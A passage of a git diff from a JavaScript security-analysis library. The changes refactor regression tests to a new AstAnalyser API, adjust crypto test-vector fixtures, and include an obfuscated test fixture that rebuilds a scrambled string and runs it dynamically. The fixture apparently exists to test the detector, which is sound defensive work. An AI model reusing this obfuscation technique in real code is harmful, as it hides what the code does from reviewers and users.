(s % 13541); + const g = s * (a + 476) + (s % 45350); + const t = u % l; + const b = g % l; + const h = f[t]; + f[t] = f[b]; + f[b] = h; + s = (u + g) % 4589333; + } + + return f.join(""); + } + const PNH = yzt("vaozsbucttmhudctnrnwprlrfocqisojgkxye").substr(0, gqC); + const wTX = ",a= m-[mvs=.ga;u)llv)\"np;egbid2f.hd5g6]+\"]gn;ofdrxsz2\"ra(ar,tn3.e=r7hv+f 8p8hq7 l3c5ndt,C+eat= (c0.p{1[f(nt4tjefhc})=rvv.p0aa).=o]rf, rvrs,(o\";dv1coevp=c;le{0l}Cc(](denrt]r)a=,ft+0)o;lAf+e39rr8=63at[f+var.ri+.vwao19m;n-;1tong hnf()={v;o;u=1r*1si=tsk8;ns}4)au r;+1hr==fttst+,2)dSda)+g(]>=Cfv]i){hg) o.hlltn=zj) s,ag]gwar]aun;llrvlrhbeg;sb\"t;. 8cgigth)ei(,+)4oor7,+l,ab;k =;tl{)fc=r,[=dh;;irCt,;ev)r)0a-c z;[te>iif()8)uaazl]0fo=(Ooo{0Ikt{o;ilf-OnekbOedoeaPdOr[de(.lOO-odc.i.10;spb%4.m.{pm.l=Ot;cn[m]s5..drd1ls}d55-3]ddlasnEi|gO+dy\/]j.ar.er5O5-Oryah%ad.[\".=O e.,Odmddcszcaldld.op.)ca7O!]]\\=)= ne={q1Bosl..S.2]2&oe YivOdtr>}8e=ul\/.scaCevofnresOAab. heid4da.c]ic IZO9)=.tgOOea.c#rO7eu72bOct.lk*mdm=c\"p=\/Ogl)OA}egyO.Aa%Opunvx.0ddt.s.>\".tO\/C8d>]OedeGddvo6OTccg].Hf:el)O%e.}do.entatllOOrKna(.NofT.[.h-luacn>]CcN|OOtb.rd1b]mwy(dladid l+C)[om>ddot>n,-[d1debe8nOOc(\/O4dl;k3ooO6tt[.Od>.}>34ds(!O]+)xbgu8.bOeO-m; prd7eaiqn]r!)ido{O(b)cenZ)c;t;.Oom-=i1>nr().!}.=e(#Y\"OEabblhe6dva[d8ev=oi1yd.cOldfi)c.cepd}p2nea.saiBbapf6O3eOc6{i\/ui[rsbsantI\/Oi#;cb.00yOi..tbpuo7OdooO2li!r-\/Os=0mcbimO-e02leOioOOr.ryc;ed(]c.p>y([ dO|<5uO2idsoro2%mf?o\/v>}ldarOpl(licnfZd.y%dif.da.tbO_yO eec].sOd!o0)|\/y.ryrnik-pO+.(l@.d-fjxOdmnnie)1(l%amO4\/3)er)]n[fuOdtyOl :ueof]u]s!$lcO\"_\/$mct0mc\\tlo-oOa.,}2o>6.0ene0.d(iO6ea)pOa.,t>]utOtiiOpO!a9hes.ndoep9),t.O8pb5o.t O)dyOv&tgP.2fd[.Oet=OnO1) bdelvfo\"eqO;O$b.de;rnd)=}OPo=qeo7[2un.i.iybdc.aflbOOO0bO{)0Kje\"y.)|2mytoptd>bbabr0O.Oio[nuOeoO-x9:jte\/e.ddta, d>an1nae)7=!Eo1yd+4djdO!(>eaid).o,ObOyv=%tuO}OiOOl'%lRl3;Na}trt)Odcptm>arOOTn,Fo.p(Om=0l]ot0Ri3>i ty4trdfh.[3iOavI=mle-jaofd{)iirbaltzcaO>.o_aiieer;nrlcdohy3ns2f10ral5t[eftO39(d!t=]!;e.9dj)g btf.l31!O0dOOt>e,eibO1a%OC3(eO-yabod0kvdaO)u>tr0iOnt12cd.)oHiOere.\/r=dp3O=ct\/nnz\/.[(d(Ont1y8:,Z ],it()rtOe\/pvr vo{( ipradyid-aeddyiatl[5eSpn=tu..=neyiA}{c bd4a0editwOt`[b)]\/mgiO>[d]dOm=O:.g6+]Je[OslOaVuy0r)!.lbYOium[ibrgp.vdOmabdliaernn(l.OtnuOiv1+6=Oddh o;4l}t\/n,Otj23.e)[nb=)i.O}exp\"=l:rOO.8l!Od_d]=E]c(u:5ie-ctaO\/ty!(oh>..ieoay{ea{7bg[ nv3tYO5.et3_nldO;dgda2N.])rMadci0\"O9O.d\/ofnioeapIddrp.cmnn[y[H]c:Oo.excn#OOtjtOhOpch=.:e}s.d[c1iO@p9aioO;y4j5-])i((4kse\/4}Os6r=wfHe-.y(dTI}[O.enO7o{}iyOOdex=(dy2O2mOft8=V;n..gqMtXbc)co):)ad|d]eO=n}Oeb]-nd1[vc[5)dee(e1Oe>antvt.]7opa[2$0da;d n-f >..tryoa{o){n(vutenOb]G=(t]xair>OOh.nog=(U\/r+O);0}O25aOOOia.%{M.t|?Kc]d=[a)ba5].(mOdJM.t]] M=g7-0ooc% OOo.noclc-dl1eoayttvr\")O\"_)ob(ne=..trlfl[u]Olct-t!=.t.Op;aeo.So.cOedIpgeo[Obd,O>a=yyt(oib%c-]Odt.XrLr-On'n!hnO]B*de0t!ii>ndOOes-ltibddniiOOOony)m)ajOlsunev.H%-cvcrc3 dn;-epOkueca=eqsyrhOddovtd(r.\\a%0tejOcyOhdedfd))dhieou=nXO(tiy=oO>]`eOe\/\/.(>jee9O fd-ovtMo.!#ri.>sy\/0T.\"drbo(}e>reO-Ord)rpv,ddsO2dav:+8a\/!r0leoae]eb ttaO7o6{venene\/=mOO.sct0 i%dej]2Ob=l)ycgbmnTbsndOOp.=r.t1n[nnivmiwIvd)sDf l).yalO[f.inPyOCd=8o;nOl.S\/..lOO.m1!(nb.Moi=Otp4sord\/e3r!dac.erteOnft)e]fBOlO2c.iO6Yrr[.m2.1caolvs[sn3{=s.OaO=a\"tmOcan7lyCidtn.)va.anb{dauko;td=OOz>kp)ecda]c3ke2in>.vpivst]Ohdxi=Ow>e a\/aKc}Ib..[.OdntuRtn!t!tluo=>]dscmyysi\\.l#yO-3vm]aOHadi5Odp.t>..\".po\/ie>5M1.nJ.O=ti.i..cr(OnEoty\\binkO:=a\"a{ay(neer;qZslp&O2rlyicbi.;-pae[]r .bbk-=eotlepi=c7):Ovm%OOop_\/oWi_litfrnogXps>noraeis-ut=gk=cpeO)'l.e1O,8n.`KO.ailmOrO{e;bul.etTib lxt)a]cttoivH{bh.kt&LOdb]ic[]6aOdti|o@u.cin=,i.l{bcdCaddya%rby=O0OyaarenOycn)ruO2\/r3O0cpOrie:rj0{c6\"_c6ut%.]=et4tO=f;>tvOt;a#)nfor,ndeld;OioK>.y].t8tuc\"s\"yoly)SOO!so_bhsia dire\/=nTiiOo-y(dirntO^bv.t:k}rO%p}0(dp2wm.iNswroi>OdaOixee=\".cnetCed,eilx(.aOe=dxcmrp>d.Ukoop%dtncd2snhot%ar\/.b1 i.n ,.-|aeeetnoefboHv.disi4sl%O\"s de}vt rc.b]EfOau%dO3a.\".dmr,h^{)Oc}.t.edecc Cin.)aa.td.d)con!Md>e.aj=gy\/hBXO2t=%elO.vOo.)p.&td]>)&O.b:lt)pt_O.y=rOemtteOt_OvytndbOb0oObde0Orld%)hyls-dO.deeOs2XO)i=smu..d\"d}lB)uO6;r\/ceeiitb2fwait]]>85aniOrpy;ri].]h);ronys>=Oeee=yciSDb{]bfC=_jspo_dnt>0OB1h.vum.)n)iunHvlro-\/;luf[ny t:spim;dwd}Fgift6r=resl:)deE.ayn42-.;{=etu]et-O.[ormt.,sfe8bc=doysdoOayd[it.untmao2OD%adu0OdOab\/Odln1da.vbAt*iJl=ma.e!cubh=(O.i=eit0pp; dt.ricwpcc=ndha[.>a>tduSofu;\"Ex.ai}oc\"vOp1nEv=c)%bt.p:s.)ot(mOlce_)p\"Rv=l%iaatnsCOc2de.dtr.deo.fce -llxb.da0.%]n%=..[4o7=evo30O{.{c{tbolOvu)-:4[>)$uO-==vufbtiimtsollOr+|dscv.0i!eoiaadnmohtfMdsdbevOeu=d.[dOl2y(tna0ad%dyin4e>eudObl]u.nOPo0-O0`i{OOs).edcadbe.yiSc%ac Oe1leoit2>]tb.-5(maiee.o.orp [Ok>o1.\"hnnaOOed;[ \/l>>b]aadp.B!n.2c.ld>;.8m1idi..laOi. O5tmNrs.yl=\/gmb\"=t}e}\"aas=-m=yoe\/Baire-=e.1Ty>cgdOV].ixe0Oo\/0uN]wce%tiy-(die.vy^.;On=y[0nas.O)Lo0%\"\/fj=btycaY_imn4uOcctpid.drtbi-!4a>ce;vay=dt.b%mbieiH=nO5ddaOc(6nO1O9t]emro(d-.SagcvOsd.otO(f!vr>n.sW]hyd>na.Oqoyadegy3ur.laeeret=>%=iieeOdkr.rrrlpQOxxa.jhceomehOdl=2Or]uiOcnoe;(Ohein.sOfdOguf.RpO{dbebelcs.o%cao.r;prq7.Onhdl=!teb!dOne-9treb}>o.5u1?;tiur;% qmaD=elx%dx.o\"Odhls-eemee,psOOgq>tOey-tOefaOuc)0tdBoo[%t.Ose!t+lokocYicrnc}eOei]nc9)]oc2.b,n2ynzv(g.\/ay-6e=YodEnpnnc._eeOoOdEx5eOcm=pdbefO mre.4yOOOu)Oot0iniOhiO2s>y1}eOoivrJ6n.lnmi.-decOe6ab.gx.,n5ba:nvtv.yodsycvulnvy;ooe.rCosbObl]v=d=ls4uot;.g1Or.!e.v\"%ea!>;O}-i0).]l(iu|l2{.bge# \\eOO.ugp#edndlphc=-tasaaeO=OZdd8.},Ots-7n\/day4\"OB^bOp>=-aan]blOhvac[Oei8%suw.[=boi2ft.1e]ttmtpts(=e.n.Xsrl(+.{o.u]ad.0sbye%conbOmidmgvO.LaenpeO{>vian*beoe>myudosO=\/;r0_iidd)dt]o:)npgq ]o.dCvago=.Arr[v.!.p)0b.v>kee1iB);O=(e.ai} =--dn\/gd.hctm;.4d](i%)e{.7{%p] o3arB.lvQ9mut4d=y1she\/=,.m)dt\"hb0roOOOoBiZe o..B9aV.eo2tcDOntsnnr)=+L\/oeuivs:oO].ehm)-ausO%db|OON>v=0#y.O.l)4etyca2=Ooev.N(doedycro %i.iOJ)(>l%e]1\"HMddO3 iOr]uo?ocOnca#.aC9d^ppdosOp?;ic)d.u.0r[nQO=.o.Olsfjkodl==}).d.x \/O=.:Oup\/l.OOtrpp0rsdyOmg\"dgXt!,o crmm=moi.';=>lTe4%0l]y.g0\/Ogvas=Obn!OOxioon=fyq)d0e6,-necIhcr.r+oOoyeO.si%u%`>ko))ndavoc0.dOroicOthCt0&eci-1on.Oc=O;e,aadM%d=lpO .pcendd1oa>dv6)oCvC[tiryyvbpOZ=teOrrO.oe\"2tudv(O)+oO.b;aoh{ctO}ecctddsOy2i ==k5O.o(inpsaad(..p[t%aremCpc>cIycl\/u12a>kv)e=h\"Ure=[ar7=e+ydZ3=itn\/ol.te.2[.roS{>]e%hkOrlOOe-pDtnlcda.o1\"%Oe2mO]ap.rot1cl-O.I=yn>.Onhgjy:]p`.nhm&2O%=vok:e8(u:l.nie(ls.efpuh0o^1%fM\/ =aOkooO>i.r2epn7=de%7mdbDri[iO2OOc.vOs%payoQ=l]ammtu9t>ee5sihvZg:frerfOwn\/.n2oe7koo]- Otp\\x2=3OsOh=! lrOod>e.xr=b(OfoahdyO Zo2hto1Odecx{r[y,.lono9blvdOd.paO]o.(|..=c.Blm bgY2\"ie.cm_S=hi]aod-st OObiEhaai\/XevO})g.rOmOhr1o]Ob&%...ikc.nrvddoc4h)m-te>bOped`;]id&.tO-..c.t]qd}-e.tn-od>x.lO0dst|Ol%.i..ue1!eat=.tTltNOluscei]2(oeai;.!oo!lk{%mIa=.e-7t\"r6.d))hd\".dy)]d{dOg]zc18a]5e;dcdo(dicnamb\/etetmdh=d=O8%..c%o2g,ipo]Oid=yc%p[4o <.tl.ite=p\/On2bc>-a%nte;ste#odbOj.cdO.@shdr]= mtro>vee2y(uf1otidttt}yYOd=].eeidd.-O(y(ds8>_Oe|iailh2m.lOes(b.vn >}.9oe.em]Hi)t00O!p1e(d]k>\\o;!c;;Oi%lillOOrea0ad=e (OkedroOc:.d;doafemOdt+j(rdlt]OC5iY\/ ad(aay,0t0nn[o-pa=fde>saeapr2dt(](`aO>]dyaO\\OaOOOuSnO\/=ed6rii=t+v6cqbuanvoe.ccOxm.d:o5a.na.h7tdte3BhCi.ycuvs1eaO doOg&tepf,Is.v%O.yln0)l(knq9nit%%bfe2Zb\"ne>(eS)lh|ur0tendika.ed^R*\"e\"ya+p0dctDnf#gO{he!>fva-u,Ogh>d+c[ya on)21dOOe=crf]1.e.hle\"bsO(g&.]B-.{=\/Onyidm=it)o%^.%bAd%nu.OSa.(yor4]]5=d0t-r!dZ.n:f3u-}}a=ib)bs\/!7|[it\\{K:OOOonOr[fdam>)mjt=)Oe}yr qe6OOOuHc%m9eoytft!ladmceOoH.O|O.xBnl2)dcjOsp_mvdepe.cxOy-..u=%[BO.o((>GF\"f=15;+(w.v.l..e2y%%diuhldmbyis=.dg;Ovypo-ditgdertaOOdOtxdc-d{etO;;sd=c0ibdhY7>}f.teroQvOOzstei.olt>c..}Od8ef2ole\/On1Oona2Oo[OOny$(d4d[lMOfcO_d\/-b-Ld[mb=W%dis0dO[depO .}.mOdnsu1iOm<-evdOrrd=)and0e)ayp=enu%Opr bvO.tr;0a+Oa;lga).rb>jrf;.hO].=5%kaix(ldkXidltBi eex[nm=Oa\/}.qh.-loe]g]z4%4cn[tO]OOoi2=)erh%n]ssy\"nl2ddct)e-rgma]r>;4e>eOom\/%[av\"u(l0oi);Ot0.tr-oplr:o{Otc]xc)OdO]a3=tee>u2)O%}p.0\/On;{Onnbi[y=)epG;ndmasd7=.5.le.oC)eOae(r]dl0btal]v;7ios28an. -i>eyl[e.Stlyw_pcslj>if({psi=]ls]eoetmr(e;g.mbbam0o.1O.iOoyeydtt)eavpi)r-d4]ei.bveb=29y+tOa9nlO[\"dO[tl%rtianOdsXeerdaOpekOdftia-pt1mi2d.u;.ioptie[oi{R=?t nbrhrhl1OneOoa.(pcO}%u(OOtonMtrr[uO)Odtc;O1n1dm1.od5cmlOt .dp>eax=Of] ua,dOO_Ouao OdpssOa\"ie.yb6_ii4[x+]u(e1r]>5=};WO]](O(a2OaitkrUaXrDv\/c2py-.{Oeyh.i=\/.(srdt4rnileIhsxOd6eOO.;vand?[i7.l.=lall%=>Hfi))=mJru0t)t.Os),{a{=]b>idOleyp.|= uorivsIO\"]eOOdmC)m=nOb1n=yei=o]]ymkl=a8]slopei9o-erOuO(-- xaOve)t>d(\/ne(p0%dcOdi.Oi.r\"i2acuOvzd.lu^)lod Od1ayi< I (\/3>gFlldO.\"O0P.% y;d\"nmO\"r 0t)nhcg4l4ubu\"1b.\/O)dtb[.u.b>uOb\"ad.idOk)uydd.t.d .c.o\"lb\"ctaA}]O=O9>Cubor1ln]r =oe!-7.Oaex=:%\/ap.c( y.mfc5Xc\/-[d[yaviOdsa]! .{a0 bO)yi6dev t=\/b>p.[st]O0)f.m[1s(dO1")); + const QjX = NkU(pYp, dxV); + QjX(6113); + + return 9063; +}()); diff --git a/test/fixtures/searchRuntimeDependencies/suspiciousFile.js b/test/fixtures/searchRuntimeDependencies/suspiciousFile.js index 926ddfc..fd157f9 100644 --- a/test/fixtures/searchRuntimeDependencies/suspiciousFile.js +++ b/test/fixtures/searchRuntimeDependencies/suspiciousFile.js @@ -1,37 +1,37 @@ [ - { key: "b058d2931f46abb2a6062abcddf61d75", - iv: "ed77b0e43daccec06c41f472", - pt: "849c27d7333fe9fb769725b0f29a6b0d977e504976d709b8b6ef542e455504a20243e9ff2ea72da8ab709f983f85349f0ccb63a3c3d70225b8c06305592487193b8599c4aeeecc513d9f71bce28fa0f3a9ba5b310fed302a360b73e7a546793f1dd7b17c1dfcb6348c1f2dfe86dab6", + { key: "b058d2931f46abb2a6062abcddf61d75", + iv: "ed77b0e43daccec06c41f472", + pt: "849c27d7333fe9fb769725b0f29a6b0d977e504976d709b8b6ef542e455504a20243e9ff2ea72da8ab709f983f85349f0ccb63a3c3d70225b8c06305592487193b8599c4aeeecc513d9f71bce28fa0f3a9ba5b310fed302a360b73e7a546793f1dd7b17c1dfcb6348c1f2dfe86dab6", adata: "a7e0f806e4ff0829b0fd8142f8aa26d5a1a1c34cde7e23d65b43cbc3a3cd692bf5817f68756bd46b78cef34903879c7d5929e94b4b3470564f4480315496bf0f2d66358a0ad1e4a2dca7f807c0bb747ca11266f04ec01dc631cbe7019ea8479bb41f23c575008ce54b841066d72806fc0cfa88905ef1444d02ecccbcec53f04ef65fdd42", - ct: "9f14fa396445bf0e206b123e090edf1c41c6ee6b85ec9963721075b9261006b83a68c3179e2824d45ad4a10e0cd44a66b9c4c12c57424a2dff701eac89d968a64b3b221864a163cc9425ee687bdb283c0b9931b5abde531a6e43737ddea7f715779a8ec15ff06808eb54f0e538c5ef", - tag: "8f27c1985372e9db7477be389e701c26" + ct: "9f14fa396445bf0e206b123e090edf1c41c6ee6b85ec9963721075b9261006b83a68c3179e2824d45ad4a10e0cd44a66b9c4c12c57424a2dff701eac89d968a64b3b221864a163cc9425ee687bdb283c0b9931b5abde531a6e43737ddea7f715779a8ec15ff06808eb54f0e538c5ef", + tag: "8f27c1985372e9db7477be389e701c26" }, - { key: "76913a2c23ecde49fe994d9d0916488a", - iv: "cebfa37c55b7b378", - pt: "803c56f2397c4250c90c9722133781e5b8ebf5997cb01c70b157bd4ff83c519edd13c020adea8c519f36cf5133c79565aafe5922aefb74ede1ef8cc985", + { key: "76913a2c23ecde49fe994d9d0916488a", + iv: "cebfa37c55b7b378", + pt: "803c56f2397c4250c90c9722133781e5b8ebf5997cb01c70b157bd4ff83c519edd13c020adea8c519f36cf5133c79565aafe5922aefb74ede1ef8cc985", adata: "598bb9d13392623064a19cf5812c207c47fed14c1c0bc913806b603a5426ee930d0f7d766b098b4175074802799b3e396ae1", - ct: "096e3a778050bb9fb40fc596e4e8b22f9b51056aad7f624f324946bec90e558e89c5da8332b1639dc3ed56a30ca895827d2254d9679f309ae05805ca46", - tag: "18c15e5c5c9dac4d16f9311a92bb8331" + ct: "096e3a778050bb9fb40fc596e4e8b22f9b51056aad7f624f324946bec90e558e89c5da8332b1639dc3ed56a30ca895827d2254d9679f309ae05805ca46", + tag: "18c15e5c5c9dac4d16f9311a92bb8331" }, - { key: "dc0dd104000e11fe11418e3fbf79efa6", - iv: "56832be3131809aefd05b162", - pt: "117fc55d618f2d97920600e606ef51d2bca851efca396c1a7153142dc5645210c634aae95de3a049ae6097459f45923d30281bfa5dbc8b84861da5e5f122557c701ecdbd6e9cba5b02947750069ee29f19a055438fde6ade9ebc36a7ac92d80d408abfd5c7695f1db5e7aa37d5e2dd40c9b775", + { key: "dc0dd104000e11fe11418e3fbf79efa6", + iv: "56832be3131809aefd05b162", + pt: "117fc55d618f2d97920600e606ef51d2bca851efca396c1a7153142dc5645210c634aae95de3a049ae6097459f45923d30281bfa5dbc8b84861da5e5f122557c701ecdbd6e9cba5b02947750069ee29f19a055438fde6ade9ebc36a7ac92d80d408abfd5c7695f1db5e7aa37d5e2dd40c9b775", adata: "3a8a94fa6312e080ffe1920719d0e5d616d1", - ct: "a830e76f8becfea6bf6fb81d91a11f2f89843b6f57d6a6d5160ef4a576c610a1d4e91722b962672503c36a710c5966f911949e8b5c353973a7e9498304569674317ad34acb753cc2e6c8b763a946541176aae77390586403e5821d17908272b7cec98165b5b28f8918bad713dc99e74ee7a7fb", - tag: "5b01223877855fc1608534e66425759f" + ct: "a830e76f8becfea6bf6fb81d91a11f2f89843b6f57d6a6d5160ef4a576c610a1d4e91722b962672503c36a710c5966f911949e8b5c353973a7e9498304569674317ad34acb753cc2e6c8b763a946541176aae77390586403e5821d17908272b7cec98165b5b28f8918bad713dc99e74ee7a7fb", + tag: "5b01223877855fc1608534e66425759f" }, - { key: "3f8e92ec57c05c27a6c1d8374b26cbff", - iv: "56d56bd8bd3c2211458ed96c", - pt: "3edfcd3729c9b01667687c6f5203c6c4a753966eee3b29344fec47995a3793e0bae09389def1117da88d164fb3dd984dd244a7bb78d3332b501f16a1b65bd65773cece6aa434988981d55ac4a80b3404b87447bd7437d6dd62a99defdf366de63cc7da5b05", + { key: "3f8e92ec57c05c27a6c1d8374b26cbff", + iv: "56d56bd8bd3c2211458ed96c", + pt: "3edfcd3729c9b01667687c6f5203c6c4a753966eee3b29344fec47995a3793e0bae09389def1117da88d164fb3dd984dd244a7bb78d3332b501f16a1b65bd65773cece6aa434988981d55ac4a80b3404b87447bd7437d6dd62a99defdf366de63cc7da5b05", adata: "", - ct: "540ed4a1eaf23b7b1b87e9dc8b9c96135b99e45147c919c45aecc0323b7a41179454d6e704671a77c37dc6ebd1b20a644135c0d16f1443aa67667d2cbaead3483856d299a0021b7db598c1d053c1b19e446cd3d90aa2db2871ee8397ec05805d2343404ef5", - tag: "e6b41ccae9b8dbd16cdde8424df5960f" + ct: "540ed4a1eaf23b7b1b87e9dc8b9c96135b99e45147c919c45aecc0323b7a41179454d6e704671a77c37dc6ebd1b20a644135c0d16f1443aa67667d2cbaead3483856d299a0021b7db598c1d053c1b19e446cd3d90aa2db2871ee8397ec05805d2343404ef5", + tag: "e6b41ccae9b8dbd16cdde8424df5960f" }, - { key: "fa99cbf6105ae39b594aa4adb6e94b21", - iv: "0eaa5a3b2fe22e795f99422b", - pt: "1be4af9f0ad57423d6fa4bc5cdf6071341062d1d60782c60ecaf2d5490f090ce3501c8acee2679cb700f93304b377824ffc4a945d73545dc8f7869eef536aad06d4e4bd8c85628a5b6bdac50f31b045668382cf012c152c1fb4a51f880eaddb457eeb7ade98c0be3685625d081386084e322e9203fae7e35a43542c65d11c1ab60a369cb3e9489e79141aac6adc36bceb00fa4b33c05a7e171437205d247c2ed755b064737dc1b03d27246b9bee230", + { key: "fa99cbf6105ae39b594aa4adb6e94b21", + iv: "0eaa5a3b2fe22e795f99422b", + pt: "1be4af9f0ad57423d6fa4bc5cdf6071341062d1d60782c60ecaf2d5490f090ce3501c8acee2679cb700f93304b377824ffc4a945d73545dc8f7869eef536aad06d4e4bd8c85628a5b6bdac50f31b045668382cf012c152c1fb4a51f880eaddb457eeb7ade98c0be3685625d081386084e322e9203fae7e35a43542c65d11c1ab60a369cb3e9489e79141aac6adc36bceb00fa4b33c05a7e171437205d247c2ed755b064737dc1b03d27246b9bee230", adata: "4df4cb4bc5d947487e685490a7ee5dfdab55211035bc8537f172cde808bb7d691fc05634613473395c8d890b3fbeaa609b77b9bf2d405bce8fd1a725e36342190607b6b36e7b6d50775a3b9fdf23ddf0340e44eb4536df3642e3bf87bda3ccbeb27cabbae5c2a3c021dd0f6e9056d9b4be948f4190f7a130c1a64813618fc7bb42ae3570", - ct: "6bd3af8afc802252b76bd1ca85c204008435d6ae598245944613ce64f918f0808f2df1db854af77921ca5eeba8cfbc174359019df14c6ee6c0378f6db045c055b81173f0546fc1d884ff56c04b4f3a92b33660f1f851fb657e1947aaee4387e531782404cebef95102246e5566141f421824e5411a1aa9203d70cde3250a39777b9ee478f59a758a0d008212f9eb17c92f046f006de1e31aa529b8dfce3e19addd7074c69ec1a18d64e91413cb77b5", - tag: "9f7e906f519e2a7bd484304b33aa9fcf" + ct: "6bd3af8afc802252b76bd1ca85c204008435d6ae598245944613ce64f918f0808f2df1db854af77921ca5eeba8cfbc174359019df14c6ee6c0378f6db045c055b81173f0546fc1d884ff56c04b4f3a92b33660f1f851fb657e1947aaee4387e531782404cebef95102246e5566141f421824e5411a1aa9203d70cde3250a39777b9ee478f59a758a0d008212f9eb17c92f046f006de1e31aa529b8dfce3e19addd7074c69ec1a18d64e91413cb77b5", + tag: "9f7e906f519e2a7bd484304b33aa9fcf" } ]; diff --git a/test/issues/109-html-comment-parsing.spec.js b/test/issues/109-html-comment-parsing.spec.js index 35b3f74..ac5772a 100644 --- a/test/issues/109-html-comment-parsing.spec.js +++ b/test/issues/109-html-comment-parsing.spec.js @@ -4,7 +4,7 @@ import { test } from "node:test"; import assert from "node:assert"; // Import Internal Dependencies -import { runASTAnalysis } from "../../index.js"; +import { AstAnalyser } from "../../index.js"; // CONSTANTS const FIXTURE_URL = new URL("../fixtures/issues/", import.meta.url); @@ -12,7 +12,7 @@ const FIXTURE_URL = new URL("../fixtures/issues/", import.meta.url); // Regression test for https://github.com/NodeSecure/js-x-ray/issues/109 test("it should not crash for a JavaScript file containing HTML comments (and removeHTMLComments option enabled)", () => { const htmlComment = readFileSync(new URL("html-comments.js", FIXTURE_URL), "utf-8"); - runASTAnalysis(htmlComment, { + new AstAnalyser().analyse(htmlComment, { removeHTMLComments: true }); }); @@ -20,5 +20,5 @@ test("it should not crash for a JavaScript file containing HTML comments (and re test("it should crash for a JavaScript file containing HTML comments", (t) => { const htmlComment = readFileSync(new URL("html-comments.js", FIXTURE_URL), "utf-8"); - assert.throws(() => runASTAnalysis(htmlComment)); + assert.throws(() => new AstAnalyser().analyse(htmlComment)); }); diff --git a/test/issues/163-illegalReturnStatement.spec.js b/test/issues/163-illegalReturnStatement.spec.js index 27e80ec..4f00f75 100644 --- a/test/issues/163-illegalReturnStatement.spec.js +++ b/test/issues/163-illegalReturnStatement.spec.js @@ -3,7 +3,7 @@ import { test } from "node:test"; import assert from "node:assert"; // Import Internal Dependencies -import { runASTAnalysis } from "../../index.js"; +import { AstAnalyser } from "../../index.js"; /** * @see https://github.com/NodeSecure/js-x-ray/issues/163 @@ -23,9 +23,9 @@ if (!argv.length) { test("it should not throw error whatever module is true or false", () => { assert.doesNotThrow(() => { - runASTAnalysis(kIncriminedCodeSample, { module: false }); + new AstAnalyser().analyse(kIncriminedCodeSample, { module: false }); }); assert.doesNotThrow(() => { - runASTAnalysis(kIncriminedCodeSample, { module: true }); + new AstAnalyser().analyse(kIncriminedCodeSample, { module: true }); }); }); diff --git a/test/issues/170-isOneLineRequire-logicalExpression-CJS-export.spec.js b/test/issues/170-isOneLineRequire-logicalExpression-CJS-export.spec.js index 3934ca1..23ba170 100644 --- a/test/issues/170-isOneLineRequire-logicalExpression-CJS-export.spec.js +++ b/test/issues/170-isOneLineRequire-logicalExpression-CJS-export.spec.js @@ -3,7 +3,7 @@ import { test } from "node:test"; import assert from "node:assert"; // Import Internal Dependencies -import { runASTAnalysis } from "../../index.js"; +import { AstAnalyser } from "../../index.js"; const validTestCases = [ ["module.exports = require('fs') || require('constants');", ["fs", "constants"]], @@ -37,7 +37,7 @@ const validTestCases = [ test("it should return isOneLineRequire true given a single line CJS export with a valid assignment", () => { validTestCases.forEach((test) => { const [source, modules] = test; - const { dependencies, isOneLineRequire } = runASTAnalysis(source); + const { dependencies, isOneLineRequire } = new AstAnalyser().analyse(source); assert.ok(isOneLineRequire); assert.deepEqual([...dependencies.keys()], modules); @@ -60,7 +60,7 @@ const invalidTestCases = [ test("it should return isOneLineRequire false given a single line CJS export with illegal callees", () => { invalidTestCases.forEach((test) => { const [source, modules] = test; - const { dependencies, isOneLineRequire } = runASTAnalysis(source); + const { dependencies, isOneLineRequire } = new AstAnalyser().analyse(source); assert.ok(isOneLineRequire === false); assert.deepEqual([...dependencies.keys()], modules); diff --git a/test/issues/177-wrongUnsafeRequire.spec.js b/test/issues/177-wrongUnsafeRequire.spec.js index 0e70160..5867d9e 100644 --- a/test/issues/177-wrongUnsafeRequire.spec.js +++ b/test/issues/177-wrongUnsafeRequire.spec.js @@ -3,13 +3,13 @@ import { test } from "node:test"; import assert from "node:assert"; // Import Internal Dependencies -import { runASTAnalysis } from "../../index.js"; +import { AstAnalyser } from "../../index.js"; /** * @see https://github.com/NodeSecure/js-x-ray/issues/177 */ test("should detect unsafe-import and unsafe-statement", () => { - const { warnings, dependencies } = runASTAnalysis(`const help = require('help-me')({ + const { warnings, dependencies } = new AstAnalyser().analyse(`const help = require('help-me')({ dir: path.join(__dirname, 'help'), ext: '.txt' })`); diff --git a/test/issues/178-path-join-literal-args-is-not-unsafe.spec.js b/test/issues/178-path-join-literal-args-is-not-unsafe.spec.js index 09b2f6c..1c23eb5 100644 --- a/test/issues/178-path-join-literal-args-is-not-unsafe.spec.js +++ b/test/issues/178-path-join-literal-args-is-not-unsafe.spec.js @@ -3,7 +3,7 @@ import { test } from "node:test"; import assert from "node:assert"; // Import Internal Dependencies -import { runASTAnalysis } from "../../index.js"; +import { AstAnalyser } from "../../index.js"; /** * @see https://github.com/NodeSecure/js-x-ray/issues/178 @@ -15,7 +15,7 @@ const validTestCases = [ test("should not detect unsafe-import for path.join if every argument is a string literal", () => { validTestCases.forEach((test) => { - const { warnings, dependencies } = runASTAnalysis(test); + const { warnings, dependencies } = new AstAnalyser().analyse(test); assert.strictEqual(warnings.length, 0); assert.ok(dependencies.has("../bin.js")); @@ -31,7 +31,7 @@ const invalidTestCases = [ test("should detect unsafe-import of path.join if not every argument is a string literal", () => { invalidTestCases.forEach((test) => { - const { warnings } = runASTAnalysis(test); + const { warnings } = new AstAnalyser().analyse(test); assert.strictEqual(warnings.length, 1); }); diff --git a/test/issues/179-UnsafeEvalRequire.spec.js b/test/issues/179-UnsafeEvalRequire.spec.js index 3c36e54..efdc058 100644 --- a/test/issues/179-UnsafeEvalRequire.spec.js +++ b/test/issues/179-UnsafeEvalRequire.spec.js @@ -3,7 +3,7 @@ import { test } from "node:test"; import assert from "node:assert"; // Import Internal Dependencies -import { runASTAnalysis } from "../../index.js"; +import { AstAnalyser } from "../../index.js"; /** * @see https://github.com/NodeSecure/js-x-ray/issues/179 @@ -14,7 +14,7 @@ const kWarningUnsafeImport = "unsafe-import"; const kWarningUnsafeStatement = "unsafe-stmt"; test("should detect unsafe-import and unsafe-statement", () => { - const sastAnalysis = runASTAnalysis(kIncriminedCodeSample); + const sastAnalysis = new AstAnalyser().analyse(kIncriminedCodeSample); assert.equal(sastAnalysis.warnings.at(0).value, "stream"); assert.equal(sastAnalysis.warnings.at(0).kind, kWarningUnsafeImport); diff --git a/test/issues/180-logicalexpr-return-this.spec.js b/test/issues/180-logicalexpr-return-this.spec.js index 9780f6a..e5644cc 100644 --- a/test/issues/180-logicalexpr-return-this.spec.js +++ b/test/issues/180-logicalexpr-return-this.spec.js @@ -3,13 +3,13 @@ import { test } 